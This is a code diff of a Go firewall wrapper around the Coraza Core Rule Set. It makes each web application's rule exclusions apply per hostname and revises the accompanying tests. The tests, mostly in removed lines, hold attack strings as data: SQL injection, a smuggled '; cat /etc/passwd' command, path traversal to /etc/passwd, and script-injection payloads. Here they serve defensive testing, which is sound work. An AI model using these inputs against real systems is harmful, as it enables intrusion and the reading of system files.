+// app is an app whose ordinary requests the Core Rule Set would refuse,
+// with the fixes that let them pass.
+type app struct {
+	// directives are Coraza exclusions, loaded before the Core Rule Set's
+	// rules. Their first rule skips to the marker they end with, unless
+	// Inspect sets the transaction variable named for the app, such as
+	// app_gitea. The skip reaches only phase 1, so a rule of a later phase
+	// must check that variable itself.
+	directives string
+	// cookies are the cookies the Core Rule Set reads a request without.
+	cookies []string
+}
+
 //go:embed gitea.conf
-var giteaExclusions string
+var giteaDirectives string
 
-// wordpressExclusions are the ninth change: the fields of WordPress's own
-// requests that skip the rules that refused them there, as Coraza
-// directives.
-//
 //go:embed wordpress.conf
-var wordpressExclusions string
+var wordpressDirectives string
 
-// drupalExclusions are the tenth change: the fields of Drupal's own
-// requests that skip the rules that refused them there, as Coraza
-// directives.
-//
 //go:embed drupal.conf
-var drupalExclusions string
+var drupalDirectives string
 
-// mediawikiExclusions are the eleventh change: the fields of MediaWiki's
-// own requests that skip the rules that refused them there, as Coraza
-// directives.
-//
 //go:embed mediawiki.conf
-var mediawikiExclusions string
+var mediawikiDirectives string
 
-// mastodonExclusions are the twelfth change: the fields of Mastodon's own
-// requests that skip the rules that refused them there, as Coraza
-// directives.
-//
 //go:embed mastodon.conf
-var mastodonExclusions string
+var mastodonDirectives string
 
-// vaultwardenExclusions are the thirteenth change: the fields of
-// Vaultwarden's own requests that skip the rules that refused them there, as
-// Coraza directives.
-//
 //go:embed vaultwarden.conf
-var vaultwardenExclusions string
+var vaultwardenDirectives string
 
-// nextcloudExclusions are the fourteenth change: the fields of Nextcloud's
-// own requests that skip the rules that refused them there, the WebDAV
-// methods it uses, its cookie of the account's name, and its uploads,
-// whose bodies are not read, as Coraza directives.
-//
 //go:embed nextcloud.conf
-var nextcloudExclusions string
+var nextcloudDirectives string
 
-// cookiesNotRead are the cookies the Core Rule Set reads a request
-// without, the rest of the fifth change.
+// apps are the apps whose fixes sww has, by the name SWW_APPS gives each.
 //
-//nolint:gochecknoglobals // a constant cannot be a list
-var cookiesNotRead = []string{"gitea_flash", "redirect_to"}
+//nolint:gochecknoglobals // a constant cannot be a map
+var apps = map[string]app{
+	"drupal": {directives: drupalDirectives},
+	"gitea": {
+		directives: giteaDirectives,
+		cookies:    []string{"gitea_flash", "redirect_to"},
+	},
+	"mastodon":    {directives: mastodonDirectives},
+	"mediawiki":   {directives: mediawikiDirectives},
+	"nextcloud":   {directives: nextcloudDirectives},
+	"vaultwarden": {directives: vaultwardenDirectives},
+	"wordpress":   {directives: wordpressDirectives},
+}
+
+// AppNames returns the names of the apps whose fixes sww has, in
+// alphabetical order.
+func AppNames() []string {
+	return slices.Sorted(maps.Keys(apps))
+}
 
 // Params are what New needs.
 type Params struct {
@@ -259,6 +224,10 @@ type Params struct {
 	// Core Rule Set's rules (SWW_CORE_RULE_SET_EXCLUSIONS_FILE), "" while
 	// there is none.
 	ExclusionsFile string
+	// Apps are the names of the apps each hostname serves, by hostname in
+	// lowercase (SWW_APPS). A request gets the fixes of its hostname's
+	// apps only, or of every app while Apps is nil.
+	Apps map[string][]string
 }
 
 // The ids of sww's own rules, which an exclusions file may not
@@ -350,13 +319,15 @@ func checkExclusions(exclusions string) error {
 type CoreRuleSet struct {
 	engine    coraza.WAF
 	bodyLimit int64
+	apps      map[string][]string
 }
 
-// New returns the Core Rule Set with the fourteen changes, at params'
-// paranoia level, without the rules it switches off, reading request
-// bodies up to params' limit, and with params' exclusions file loaded
-// before the Core Rule Set's rules. An exclusions file is an error if it
-// cannot be read or does not parse, or if checkExclusions refuses it.
+// New returns the Core Rule Set with the six changes and the apps' fixes,
+// at params' paranoia level, without the rules it switches off, reading
+// request bodies up to params' limit, and with params' exclusions file
+// loaded before the Core Rule Set's rules. An exclusions file is an error
+// if it cannot be read or does not parse, or if checkExclusions refuses
+// it.
 func New(params Params) (*CoreRuleSet, error) {
 	body := ""
 	if params.BodyLimit > 0 {
@@ -379,10 +350,13 @@ func New(params Params) (*CoreRuleSet, error) {
 		}
 	}
 
+	var fixes strings.Builder
+	for _, name := range AppNames() {
+		fixes.WriteString(apps[name].directives + "\n")
+	}
+
 	text := fmt.Sprintf(directives, params.ParanoiaLevel, body, exclusions,
-		giteaExclusions, wordpressExclusions, drupalExclusions,
-		mediawikiExclusions, mastodonExclusions, vaultwardenExclusions,
-		nextcloudExclusions)
+		fixes.String())
 
 	if len(params.DisabledRules) > 0 {
 		ids := make([]string, len(params.DisabledRules))
@@ -400,7 +374,9 @@ func New(params Params) (*CoreRuleSet, error) {
 		return nil, fmt.Errorf("load the Core Rule Set: %w", err)
 	}
 
-	return &CoreRuleSet{engine: engine, bodyLimit: params.BodyLimit}, nil
+	return &CoreRuleSet{
+		engine: engine, bodyLimit: params.BodyLimit, apps: params.Apps,
+	}, nil
 }
 
 // Result is what the Core Rule Set found in a request.
@@ -412,11 +388,12 @@ type Result struct {
 	Score int
 }
 
-// Inspect runs the Core Rule Set on r, a request from client: on its
-// method, its URL with the query, and its headers, the Cookie header
-// without the cookies in cookiesNotRead, and on body, r's body as the
-// caller has it, as readBody reads it. It returns what it found, what it
-// read of body, and the error that ended the reading early, if one did.
+// Inspect runs the Core Rule Set on r, a request from client, with the
+// fixes of the apps appsFor names for r's hostname: on its method, its URL
+// with the query, and its headers, the Cookie header without those apps'
+// cookies, and on body, r's body as the caller has it, as readBody reads
+// it. It returns what it found, what it read of body, and the error that
+// ended the reading early, if one did.
 func (c *CoreRuleSet) Inspect(
 	r *http.Request, client netip.Addr, body io.Reader,
 ) (Result, []byte, error) {
@@ -424,13 +401,24 @@ func (c *CoreRuleSet) Inspect(
 	// Closing would remove the files Coraza wrote, and it writes none.
 	defer func() { _ = tx.Close() }()
 
+	// The transaction's variables are set only through Coraza's interface
+	// for plugins.
+	state := tx.(plugintypes.TransactionState) //nolint:forcetypeassert // every one is
+
+	var cookiesNotRead []string
+
+	for _, name := range c.appsFor(r.Host) {
+		state.Variables().TX().Set("app_"+name, []string{"1"})
+		cookiesNotRead = append(cookiesNotRead, apps[name].cookies...)
+	}
+
 	tx.ProcessConnection(client.String(), 0, "", 0)
 	tx.ProcessURI(r.URL.String(), r.Method, r.Proto)
 
 	for name, values := range r.Header {
 		for _, value := range values {
 			if name == "Cookie" {
-				value = withoutCookiesNotRead(value)
+				value = withoutCookies(value, cookiesNotRead)
 				if value == "" {
 					continue // it held those cookies alone
 				}
@@ -523,9 +511,26 @@ func score(tx types.Transaction) int {
 	return n
 }
 
-// withoutCookiesNotRead returns value, a Cookie header's, without the
-// cookies in cookiesNotRead.
-func withoutCookiesNotRead(value string) string {
+// appsFor returns the names of the apps whose fixes a request for host,
+// its Host header, gets: every app while SWW_APPS is unset, and otherwise
+// those SWW_APPS lists for host's name, without the port and in
+// lowercase.
+func (c *CoreRuleSet) appsFor(host string) []string {
+	if c.apps == nil {
+		return AppNames()
+	}
+
+	hostname, _, err := net.SplitHostPort(host)
+	if err != nil {
+		hostname = host // it has no port
+	}
+
+	return c.apps[strings.ToLower(hostname)]
+}
+
+// withoutCookies returns value, a Cookie header's, without the cookies
+// named in cookiesNotRead.
+func withoutCookies(value string, cookiesNotRead []string) string {
 	var kept []string
 
 	for cookie := range strings.SplitSeq(value, ";") {

internal/coreruleset/coreruleset_test.go

@@ -1,10 +1,8 @@
 package coreruleset_test
 
 import (
-	"context"
 	"encoding/json"
 	"fmt"
-	"math/rand/v2"
 	"net/http"
 	"net/http/httptest"
 	"net/netip"
@@ -38,12 +36,14 @@ var loaded = struct {
 }{loaders: map[string]func() (*coreruleset.CoreRuleSet, error){}}
 
 // loaderFor returns the function that loads the Core Rule Set with params
-// once, making it the first time params are asked for.
+// once, making it the first time params are asked for. %#v writes a nil
+// Apps, which gives every app's fixes, apart from an empty one, which
+// gives none.
 func loaderFor(params coreruleset.Params) func() (*coreruleset.CoreRuleSet, error) {
 	loaded.Lock()
 	defer loaded.Unlock()
 
-	settings := fmt.Sprintf("%+v", params)
+	settings := fmt.Sprintf("%#v", params)
 
 	load, found := loaded.loaders[settings]
 	if !found {
@@ -157,9 +157,10 @@ func inspectBody(
 	}
 
 	for _, header := range r.headers {
-		// Go's server keeps Host and Transfer-Encoding out of the headers.
+		// Go's server keeps Host and Transfer-Encoding out of the headers,
+		// whatever their case.
 		name, value, _ := strings.Cut(header, ": ")
-		switch name {
+		switch http.CanonicalHeaderKey(name) {
 		case "Host":
 			req.Host = value
 		case "Transfer-Encoding":
@@ -204,8 +205,8 @@ func atDefaults(t *testing.T) *coreruleset.CoreRuleSet {
 }
 
 // wantChange checks that crs lets through passes, a request one of the
-// fourteen changes is for, and still finds result in refused, a request like
-// it that the change is not for.
+// six changes or an app's fixes are for, and still finds result in
+// refused, a request like it that they are not for.
 func wantChange(
 	t *testing.T, crs *coreruleset.CoreRuleSet, passes, refused request,
 	result coreruleset.Result,
@@ -466,6 +467,123 @@ func TestImagePushThatReusesALayerIsNotCheckedForCommandNames(t *testing.T) {
 		matched(930120, 932160))
 }
 
+// giteaFixed are gitea requests that only gitea's fixes let through, one
+// for each kind of fix, each with what the Core Rule Set finds in it
+// without them.
+//
+//nolint:gochecknoglobals // a constant cannot be a list
+var giteaFixed = []struct {
+	request request
+	result  coreruleset.Result
+}{
+	// A search of code, on the path of gitea's search.
+	{get("/explore/code?q=SELECT%20*%20FROM%20users%20WHERE"), matched(942100)},
+	// A file name, in a parameter gitea sends names in, on any path.
+	{get("/?path=.gitignore"), matched(930120)},
+	// A file name, in a cookie of gitea's.
+	{
+		get("/owner/repo", "Cookie: gitea_flash=success%3DFile%2Bpackage.json%2Bdeleted"),
+		matched(930120),
+	},
+}
+
+// The hostnames of the tests of SWW_APPS: the one that serves gitea, and
+// one that serves another app.
+const (
+	giteaHost = "git.example"
+	otherHost = "blog.example"
+)
+
+// gitea is gitea's name in SWW_APPS.
+const gitea = "gitea"
+
+// wordpress is WordPress's name in SWW_APPS.
+const wordpress = "wordpress"
+
+// withHost returns r sent to host.
+func withHost(r request, host string) request {
+	return request{r.method, r.target, append([]string{"Host: " + host}, r.headers...)}
+}
+
+// servingApps returns the Core Rule Set at the defaults, with SWW_APPS
+// giving apps.
+func servingApps(t *testing.T, apps map[string][]string) *coreruleset.CoreRuleSet {
+	t.Helper()
+
+	return shared(t, coreruleset.Params{
+		ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, Apps: apps,
+	})
+}
+
+func TestAppsUnsetGivesEveryHostnameEveryAppsFixes(t *testing.T) {
+	t.Parallel()
+
+	crs := servingApps(t, nil)
+
+	for _, fixed := range giteaFixed {
+		for _, host := range []string{giteaHost, otherHost} {
+			wantResult(t, crs, withHost(fixed.request, host), coreruleset.Result{})
+		}
+	}
+}
+
+func TestListedHostnameGetsItsAppsFixes(t *testing.T) {
+	t.Parallel()
+
+	crs := servingApps(t, map[string][]string{giteaHost: {gitea}})
+
+	// The hostname is matched without the port and without regard to case.
+	for _, host := range []string{giteaHost, "GIT.Example:8443"} {
+		for _, fixed := range giteaFixed {
+			wantResult(t, crs, withHost(fixed.request, host), coreruleset.Result{})
+		}
+	}
+}
+
+func TestUnlistedHostnameGetsTheFullCheck(t *testing.T) {
+	t.Parallel()
+
+	for _, apps := range []map[string][]string{
+		{giteaHost: {gitea}},
+		// SWW_APPS set empty lists no hostname.
+		{},
+	} {
+		crs := servingApps(t, apps)
+
+		for _, host := range []string{otherHost, otherHost + ":8443", "git.example.org"} {
+			for _, fixed := range giteaFixed {
+				wantResult(t, crs, withHost(fixed.request, host), fixed.result)
+			}
+		}
+	}
+}
+
+func TestWordPressFixesApplyOnlyToAHostnameThatServesWordPress(t *testing.T) {
+	t.Parallel()
+
+	crs := servingApps(t, map[string][]string{
+		giteaHost: {gitea}, otherHost: {wordpress},
+	})
+
+	// A search, which only WordPress's fixes let through.
+	search := get("/?s=python3")
+
+	wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
+	wantResult(t, crs, withHost(search, giteaHost), matched(932260))
+}
+
+func TestHostnameListingTwoAppsGetsTheFixesOfBoth(t *testing.T) {
+	t.Parallel()
+
+	crs := servingApps(t, map[string][]string{giteaHost: {gitea, wordpress}})
+
+	// A file name that only gitea's fixes let through, and a search that only
+	// WordPress's fixes let through.
+	for _, target := range []string{"/?path=.gitignore", "/?s=python3"} {
+		wantResult(t, crs, withHost(get(target), giteaHost), coreruleset.Result{})
+	}
+}
+
 // withExclusions returns the Core Rule Set at the defaults, with the
 // exclusions file at path.
 func withExclusions(path string) (*coreruleset.CoreRuleSet, error) {
@@ -626,275 +744,25 @@ const passwordField = "password="
 //nolint:gochecknoglobals // a constant cannot be a list
 var hardValues = []string{"python3", "powershell", "ls%20-la", ".htaccess"}
 
-// randomPassword returns a password of 20 characters, each one of the 95
-// printable ASCII characters, space included, drawn from random.
-func randomPassword(random *rand.Rand) string {
-	const length = 20
-
-	var printable []byte
-	for c := byte(' '); c <= '~'; c++ {
-		printable = append(printable, c)
-	}
-
-	password := make([]byte, length)
-	for i := range password {
-		password[i] = printable[random.IntN(len(printable))]
-	}
-
-	return string(password)
-}
-
-// rarePasswords are random passwords from randomPasswords' seed, found among
-// the first 1,000,000. Each sets off the rule named beside it, which the first
-// 2,000 do not set off.
-//
-//nolint:gochecknoglobals // a constant cannot be a list
-var rarePasswords = []string{
-	"x)g|E0f)~.um%00G]<oA",   // 920270
-	"uC?mK\\U2fEbXA}~j7fPb",  // 920540
-	"4;yfIDKZYNtZT)(w-=%@",   // 921200
-	"`sAIfEVdBprjxR$/.?\\d",  // 930100
-	"Unt@1xza,:%j$/..;5y+",   // 930110
-	"VN.CVsu^3vbUS==4Q&Y@",   // 930120
-	"gJ<EcT)jhZ'`GC>cX~hM",   // 932125
-	" /\"j14y[%\\(iM]zmG%=^", // 932130
-	"\\f*q5v$]$IfS3JoY:*r1",  // 932160
-	"*e#!-z{Jq)Sqwx@k:b:}",   // 932230
-	"pErl>vR[Z7K^<f%_4,WZ",   // 932260
-	"){2P,GU}a3mYvjq^(p1^",   // 932280
-	"xw4UGJk!-8#ZE(`.ij.O",   // 932330
-	" XVw(2mN5R,+%~_f\"n<?",  // 933100
-	"0ZK1D>`RHb+RW${/(z}C",   // 933135
-	"Ep3!qqe 7$RT(_)@SLV6",   // 933180
-	"&:4WomDrn$\"(SE_D);Ja",  // 933210
-	"='nlIgN7ON\\\\mWt=Tr84", // 941120
-	"P]/C>Ef]F-<sV,&gs.[4",   // 941160
-	"<!--a\"9Ju}r!2=J-kZDd",  // 941180
-	"@`].*EJ?`Cw^8\\orD!(f",  // 942151
-	"StTj*t:IF(Uq_<aG0mya",   // 942230
-	"t,D-oJjnvL Dn!o::Int",   // 942320
-	"Z>\"{Z\\QDwqBQs%v}`nBu", // 942550
-	"`aV#3${J4,\\h.q' k\\${", // 944150
-}
-
-// randomPasswords returns 2,000 random passwords from a fixed seed, then
-// rarePasswords.
-func randomPasswords() []string {
-	const count, seed = 2000, 276
-
-	random := rand.New(rand.NewPCG(seed, seed)) //nolint:gosec // a fixed sample
-
-	passwords := make([]string, count, count+len(rarePasswords))
-	for i := range passwords {
-		passwords[i] = randomPassword(random)
-	}
-
-	return append(passwords, rarePasswords...)
-}
-
-// passwordBody returns a body of r's type, form data or JSON, that sends
-// each of passwords in the field name. Coraza checks each value of a field
-// on its own, and keeps every value of a JSON key sent more than once.
-func passwordBody(t *testing.T, r request, name string, passwords ...string) string {
-	t.Helper()
-
-	if r.headers[0] != jsonBody {
-		return formBody(name, passwords...)
-	}
-
-	values := make([]string, len(passwords))
-
-	for i, password := range passwords {
-		pair, err := json.Marshal(map[string]string{name: password})
-		if err != nil {
-			t.Fatal(err)
-		}
-
-		values[i] = strings.Trim(string(pair), "{}")
-	}
-
-	return "{" + strings.Join(values, ",") + "}"
-}
-
-// formBody returns a form data body that sends each of values in the field
-// name.
-func formBody(name string, values ...string) string {
-	fields := make([]string, len(values))
-	for i, value := range values {
-		fields[i] = url.QueryEscape(name) + "=" + url.QueryEscape(value)
-	}
-
-	return strings.Join(fields, "&")
-}
-
-// setsOffARule reports whether body, form data sent to / as a browser
-// sends it, sets off a rule in crs.
-func setsOffARule(crs *coreruleset.CoreRuleSet, body string) bool {
-	req := httptest.NewRequestWithContext(context.Background(), http.MethodPost,
-		"http://git.example/", strings.NewReader(body))
-	req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
-	req.Header.Set("Content-Length", strconv.Itoa(len(body)))
-	req.Header.Set("User-Agent", "Mozilla/5.0 (X11; Linux x86_64; rv:131.0) "+
-		"Gecko/20100101 Firefox/131.0")
-	req.Header.Set("Accept", "text/html")
-
-	// The body is read from memory, which cannot fail.
-	result, _, _ := crs.Inspect(req, netip.MustParseAddr("203.0.113.9"), req.Body)
-
-	return len(result.RuleIDs) > 0
-}
-
-// findMisfiringPasswords returns those of randomPasswords that set off a
-// rule in the form data field password on /, which no exclusion names, while
-// bodies are read. It runs once, for every test that asks. Each body sends
-// ten passwords, and a body that sets off a rule is sent again one password
-// at a time.
-//
-//nolint:gochecknoglobals // the tests share it
-var findMisfiringPasswords = sync.OnceValues(func() ([]string, error) {
-	const workers, perBody = 16, 10
-
-	crs, err := loaderFor(coreruleset.Params{
-		ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
-	})()
-	if err != nil {
-		return nil, err
-	}
-
-	passwords := randomPasswords()
-	misfires := make([]bool, len(passwords))
-
-	var inspecting sync.WaitGroup
-
-	for worker := range workers {
-		inspecting.Go(func() {
-			for first := worker * perBody; first < len(passwords); first += workers * perBody {
-				last := min(first+perBody, len(passwords))
-				if !setsOffARule(crs, formBody("password", passwords[first:last]...)) {
-					continue
-				}
-
-				for i := first; i < last; i++ {
-					misfires[i] = setsOffARule(crs, formBody("password", passwords[i]))
-				}
-			}
-		})
-	}
-
-	inspecting.Wait()
-
-	var misfiring []string
-
-	for i, password := range passwords {
-		if misfires[i] {
-			misfiring = append(misfiring, password)
-		}
-	}
-
-	return misfiring, nil
-})
-
-// misfiringPasswords returns those of randomPasswords that set off a rule in
-// a field no exclusion names. The rules that misfire on a password read its
-// value, not the name of its field. So the other random passwords set off no
-// rule in any field.
-func misfiringPasswords(t *testing.T) []string {
-	t.Helper()
-
-	misfiring, err := findMisfiringPasswords()
-	if err != nil {
-		t.Fatalf("load the Core Rule Set: %v", err)
-	}
-
-	for _, rare := range rarePasswords {
-		if !slices.Contains(misfiring, rare) {
-			t.Fatalf("%q sets off no rule in a field no exclusion names", rare)
-		}
-	}
-
-	return misfiring
-}
-
-// wantRandomPasswordsPass checks that none of randomPasswords, sent in the
-// field name of r's body, is refused while bodies are read. r's Content-Type
-// is form data or JSON. Only the passwords misfiringPasswords returns set off
-// a rule in some field, so only they are sent, all in one body. If it is
-// refused, each is sent again on its own, to name those refused.
-func wantRandomPasswordsPass(t *testing.T, r request, name string) {
-	t.Helper()
-
-	const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
-
-	crs := readingBodies(t)
-	misfiring := misfiringPasswords(t)
-
-	body := passwordBody(t, r, name, misfiring...)
-	if len(body) > bodyLimit {
-		t.Fatalf("a body of %d bytes is cut at bodyLimit", len(body))
-	}
-
-	if got, _ := inspectBody(t, crs, r, body); got.Score < threshold {
-		return
-	}
-
-	for _, password := range misfiring {
-		body := passwordBody(t, r, name, password)
-		if got, _ := inspectBody(t, crs, r, body); got.Score >= threshold {
-			t.Errorf("%s %s %s %q refused: %+v", r.method, r.target, name,
-				password, got)
-		}
-	}
-}
-
-// wantPasswordAttacksPass checks that an SQL injection, a path traversal, a
-// shell command and a script in an event handler, each sent as the whole
-// password in the field name of r's body, pass while bodies are read.
-func wantPasswordAttacksPass(t *testing.T, r request, name string) {
-	t.Helper()
-
-	const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
-
-	for _, attack := range []string{
-		"' OR '1'='1", pathTraversal, "; cat /etc/passwd",
-		"<img src=x onerror=x()>",
-	} {
-		body := passwordBody(t, r, name, attack)
-		if got, _ := inspectBody(t, readingBodies(t), r, body); got.Score >= threshold {
-			t.Errorf("%s %s %s %q refused: %+v", r.method, r.target, name,
-				attack, got)
-		}
-	}
-}
-
-// wantPasswordAttacksRefused checks that a script tag and a javascript: link,
-// each sent as the whole password in the field name of r's body, are refused
-// while bodies are read.
-func wantPasswordAttacksRefused(t *testing.T, r request, name string) {
-	t.Helper()
-
-	const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
-
-	for _, attack := range []string{scriptTag, "javascript:alert(1)"} {
-		body := passwordBody(t, r, name, attack)
-		if got, _ := inspectBody(t, readingBodies(t), r, body); got.Score < threshold {
-			t.Errorf("%s %s %s %q let through: %+v", r.method, r.target, name,
-				attack, got)
-		}
-	}
-}
-
 // wantRecordedRequestsPass checks that none of the recorded ordinary
-// requests in the file name in testdata is refused, at the defaults and
-// while bodies are read. A request with neither a body nor a Content-Type
-// header is checked only at the defaults: with neither, the set that reads
-// bodies has nothing more to check. Each request runs as its own parallel
-// subtest.
-func wantRecordedRequestsPass(t *testing.T, name string) {
+// requests in the file name in testdata is refused on example.com, where
+// they were recorded, while SWW_APPS lists only app for it. They are
+// checked at the defaults and while bodies are read. With SWW_APPS unset,
+// every app's fixes apply. These only switch checks off, so the requests
+// pass then too. A request with neither a body nor a Content-Type header is
+// checked only at the defaults: with neither, the set that reads bodies has
+// nothing more to check. Each request runs as its own parallel subtest.
+func wantRecordedRequestsPass(t *testing.T, name, app string) {
 	t.Helper()
 
 	const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
 
-	defaults, bodies := atDefaults(t), readingBodies(t)
+	apps := map[string][]string{"example.com": {app}}
+	defaults := servingApps(t, apps)
+	bodies := shared(t, coreruleset.Params{
+		ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
+		Apps: apps,
+	})
 
 	for _, recorded := range recordedRequests(t, name) {
 		t.Run(recorded.Method+" "+recorded.Target, func(t *testing.T) {
@@ -930,10 +798,13 @@ func TestOrdinaryGiteaRequestsPassAndAttacksAreRefused(t *testing.T) {
 
 	const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
 
+	// The recorded requests pass on giteaHost with gitea's fixes alone. The
+	// attacks are refused at the defaults, where every app's fixes apply.
+	giteaOnly := servingApps(t, map[string][]string{giteaHost: {gitea}})
 	crs := atDefaults(t)
 
 	for _, r := range giteaRequests(t) {
-		if got := inspect(t, crs, r); got.Score >= threshold {
+		if got := inspect(t, giteaOnly, withHost(r, giteaHost)); got.Score >= threshold {
 			t.Errorf("%s %q refused: %+v", r.target, r.headers[1:], got)
 		}
 	}
@@ -1095,12 +966,22 @@ func wordpressAttackTargets(attack string) []string {
 	}
 }
 
-func TestOrdinaryWordPressRequestsPassAndAttacksAreRefused(t *testing.T) {
-	t.Parallel()
+// wantWordPressRequestsPass checks that the recorded ordinary WordPress
+// requests pass on otherHost, where they were recorded, while SWW_APPS lists
+// only wordpress for it. They pass at the defaults, and those with a body
+// pass while bodies up to 64 KiB are read too. Every app's fixes only switch
+// checks off, so the requests pass with SWW_APPS unset too.
+func wantWordPressRequestsPass(t *testing.T) {
+	t.Helper()
 
 	const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
 
-	defaults, bodies := atDefaults(t), readingBodiesUpTo64K(t)
+	apps := map[string][]string{otherHost: {wordpress}}
+	defaults := servingApps(t, apps)
+	bodies := shared(t, coreruleset.Params{
+		ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: 64<<10 - 1,
+		Apps: apps,
+	})
 
 	for _, recorded := range recordedRequests(t, "wordpress-requests.txt") {
 		t.Run(recorded.Method+" "+recorded.Target, func(t *testing.T) {
@@ -1121,6 +1002,16 @@ func TestOrdinaryWordPressRequestsPassAndAttacksAreRefused(t *testing.T) {
 			}
 		})
 	}
+}
+
+func TestOrdinaryWordPressRequestsPassAndAttacksAreRefused(t *testing.T) {
+	t.Parallel()
+
+	const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
+
+	wantWordPressRequestsPass(t)
+
+	defaults, bodies := atDefaults(t), readingBodiesUpTo64K(t)
 
 	for _, attack := range []string{
 		sqlInjection,
@@ -1607,16 +1498,6 @@ func TestWordPressBodyNamesAndAddressesAreExcludedOnlyThere(t *testing.T) {
 	wantBody(t, crs, comment, "url=ls+-la", matched(932250), "url=ls+-la")
 }
 
-func TestWordPressPasswordsPass(t *testing.T) {
-	t.Parallel()
-
-	signIn := request{http.MethodPost, wpLogin, []string{formData}}
-
-	wantRandomPasswordsPass(t, signIn, "pwd")
-	wantPasswordAttacksPass(t, signIn, "pwd")
-	wantPasswordAttacksRefused(t, signIn, "pwd")
-}
-
 func TestWordPressExclusionsAreNarrow(t *testing.T) {
 	t.Parallel()
 
@@ -1674,9 +1555,6 @@ const injection = "1' OR '1'='1"
 // scriptTag is a script injection, not escaped.
 const scriptTag = "<script>alert(1)</script>"
 
-// pathTraversal is a path traversal, not escaped.
-const pathTraversal = "../../etc/passwd"
-
 // readingBodies returns the Core Rule Set as sww runs it by
 // default, but reading bodies up to bodyLimit.
 func readingBodies(t *testing.T) *coreruleset.CoreRuleSet {

internal/coreruleset/drupal.conf

@@ -1,4 +1,4 @@
-# The tenth change: on Drupal's paths, some fields skip the rules that refused
+# Drupal's fixes: on Drupal's paths, some fields skip the rules that refused
 # ordinary Drupal requests there. They are the fields where Drupal sends a
 # search, a name, a file name or an address. Each exclusion runs with the
 # request, before the rules it switches off, so this file is loaded before the
@@ -25,6 +25,13 @@
 #   932230: ls -la
 #   932235: python3
 
+# Unless SWW_APPS lists drupal for the request's hostname, every rule below is
+# skipped. Inspect sets tx.app_drupal when it does.
+# The skip reaches only phase 1, so a rule of a later phase must check
+# tx.app_drupal itself.
+SecRule &TX:app_drupal "@eq 0" \
+    "id:900790,phase:1,pass,nolog,skipAfter:END_DRUPAL"
+
 # Every admin page's filters and autocompletes, and the page to return to:
 #   title: /admin/content?title=python3
 #   name: /admin/content/media?name=python3
@@ -184,46 +191,6 @@ SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/login$" \
         ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?(?:name|pass)$/,\
         ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?(?:name|pass)$/"
 
-# The password, pass, skips each rule that random passwords set off.
-SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/login$" \
-    "id:900819,phase:1,pass,nolog,chain"
-    SecRule &ARGS_GET:/^(?:json\.)?pass$/ "@eq 0" \
-        "ctl:ruleRemoveTargetById=920270;ARGS:/^(?:json\.)?pass$/,\
-        ctl:ruleRemoveTargetById=920540;ARGS:/^(?:json\.)?pass$/,\
-        ctl:ruleRemoveTargetById=921200;ARGS:/^(?:json\.)?pass$/,\
-        ctl:ruleRemoveTargetById=930100;ARGS:/^(?:json\.)?pass$/,\
-        ctl:ruleRemoveTargetById=930110;ARGS:/^(?:json\.)?pass$/,\
-        ctl:ruleRemoveTargetById=930120;ARGS:/^(?:json\.)?pass$/,\
-        ctl:ruleRemoveTargetById=932125;ARGS:/^(?:json\.)?pass$/,\
-        ctl:ruleRemoveTargetById=932130;ARGS:/^(?:json\.)?pass$/,\
-        ctl:ruleRemoveTargetById=932160;ARGS:/^(?:json\.)?pass$/,\
-        ctl:ruleRemoveTargetById=932230;ARGS:/^(?:json\.)?pass$/,\
-        ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?pass$/,\
-        ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?pass$/,\
-        ctl:ruleRemoveTargetById=932270;ARGS:/^(?:json\.)?pass$/,\
-        ctl:ruleRemoveTargetById=932280;ARGS:/^(?:json\.)?pass$/,\
-        ctl:ruleRemoveTargetById=932330;ARGS:/^(?:json\.)?pass$/,\
-        ctl:ruleRemoveTargetById=932340;ARGS:/^(?:json\.)?pass$/,\
-        ctl:ruleRemoveTargetById=932370;ARGS:/^(?:json\.)?pass$/,\
-        ctl:ruleRemoveTargetById=932380;ARGS:/^(?:json\.)?pass$/,\
-        ctl:ruleRemoveTargetById=933100;ARGS:/^(?:json\.)?pass$/,\
-        ctl:ruleRemoveTargetById=933135;ARGS:/^(?:json\.)?pass$/,\
-        ctl:ruleRemoveTargetById=933180;ARGS:/^(?:json\.)?pass$/,\
-        ctl:ruleRemoveTargetById=933210;ARGS:/^(?:json\.)?pass$/,\
-        ctl:ruleRemoveTargetById=941100;ARGS:/^(?:json\.)?pass$/,\
-        ctl:ruleRemoveTargetById=941120;ARGS:/^(?:json\.)?pass$/,\
-        ctl:ruleRemoveTargetById=941160;ARGS:/^(?:json\.)?pass$/,\
-        ctl:ruleRemoveTargetById=941180;ARGS:/^(?:json\.)?pass$/,\
-        ctl:ruleRemoveTargetById=942100;ARGS:/^(?:json\.)?pass$/,\
-        ctl:ruleRemoveTargetById=942151;ARGS:/^(?:json\.)?pass$/,\
-        ctl:ruleRemoveTargetById=942190;ARGS:/^(?:json\.)?pass$/,\
-        ctl:ruleRemoveTargetById=942230;ARGS:/^(?:json\.)?pass$/,\
-        ctl:ruleRemoveTargetById=942290;ARGS:/^(?:json\.)?pass$/,\
-        ctl:ruleRemoveTargetById=942320;ARGS:/^(?:json\.)?pass$/,\
-        ctl:ruleRemoveTargetById=942540;ARGS:/^(?:json\.)?pass$/,\
-        ctl:ruleRemoveTargetById=942550;ARGS:/^(?:json\.)?pass$/,\
-        ctl:ruleRemoveTargetById=944150;ARGS:/^(?:json\.)?pass$/"
-
 # A person's name and email address, when signing up, when editing an
 # account and when commenting without an account. A name of python3 refused
